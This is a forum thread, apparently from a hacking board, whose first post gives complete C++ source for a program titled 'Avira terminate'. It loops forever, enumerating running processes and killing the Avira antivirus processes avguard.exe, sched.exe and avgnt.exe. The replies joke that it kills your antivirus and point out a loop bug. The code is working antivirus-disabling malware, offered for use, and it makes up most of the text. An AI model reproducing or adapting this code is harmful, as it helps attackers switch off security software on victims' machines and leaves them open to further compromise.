C/C++ Kill Process

Posts 1–8 of 8 · Page 1 of 1
C/C++ Kill Process
Code:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;

bool TerminateProc(char * ProcName);

int main()
{
    cout << "Avira terminate by inmate\n\n";
    cout << "Credits:\n [+]http://support.microsoft.com/kb/175030/de\n [+]Executer";
    
    while(true){
            
            Sleep(10); 
            
                 TerminateProc("avguard.exe");
                 TerminateProc("sched.exe");
                 TerminateProc("avgnt.exe");
                 
    }
    
    
    getchar();
}

bool TerminateProc(char * ProcName) {
HANDLE SnapHandle;               // Handle des 'Snapshot'
HANDLE ProcHandle;               // Handle für OpenProcess
PROCESSENTRY32 pe;              // Struktur die Informationen über den Prozess enthält.


//Snapshot der Informationen im System wird erstellt.
SnapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);        //TH32CS_SNAPPROCESS ist der Parameter für die Prozess informationen.

pe.dwSize = sizeof(PROCESSENTRY32);                                     //dwSize-Member auf sizeof(PROCESSENTRY32) setzen.

Process32First(SnapHandle, &pe);                                        // Process32First einmalig aufrufen.

   while(Process32Next(SnapHandle, &pe)){          // Schleife ist so lange aktiv bis Process32Next False zurückliefert.
   
    if(!strcmp(pe.szExeFile, ProcName))            // Der szExeFile und ProcName müssen den gleichen Namen haben, nämlich den Namen des Prozesses den wir beenden wollen. strcmp vergleicht die Inhalte.
                                                   // (In szExeFile ist die ausführbare Datei und der Pfad der Datei 'gespeichert'. 
                                                                                                  
                                                   
  	{ 
	ProcHandle = OpenProcess(PROCESS_TERMINATE, NULL, pe.th32ProcessID);    // Prozess wird mit dem Parameter zum beenden geöffnet (PROCESS_TERMINATE)
	TerminateProcess(ProcHandle,NULL);                                      // Process wird beendet.
	CloseHandle(ProcHandle);                                                // Handle wird geschlossen.
  	} 
  }

CloseHandle(SnapHandle);                                                     // Snapshot Handle wird geschlossen.
return(0);
}
The source is commented in german, i translate it in english when i have more time. /yea

Regards Inmate
I recomend all to NOT RUN AND COMPILE this, unless you want your antivirus killed ^^
whats the point of killing antivirus if there is nothing else being done.. Actually that program would fail for me.. i don't use Antivirus. <.< (do nothing)
Quote Originally Posted by Hell_Demon View Post
I recomend all to NOT RUN AND COMPILE this, unless you want your antivirus killed ^^
Thats right

@Brinuz, change the Process name in the main Method

Code:
TerminateProc("YourProcess.exe");


Regards
Quote Originally Posted by inmate View Post
Thats right

@Brinuz, change the Process name in the main Method

Code:
TerminateProc("YourProcess.exe");


Regards
i know.. i was talking about the one you had there.. oO
AC Really accept such a thing from Admin Elevation and lets themselves be killed this way ?

Lawl. Executables are funny. Same applies to WinApi Handles.
You called Process32First then Process32Next before you even made a check to see if the first process was the one you're looking for. Tsk tsk...
Quote Originally Posted by Void View Post
You called Process32First then Process32Next before you even made a check to see if the first process was the one you're looking for. Tsk tsk...

Yea right / i will change this soon /yea
Posts 1–8 of 8 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?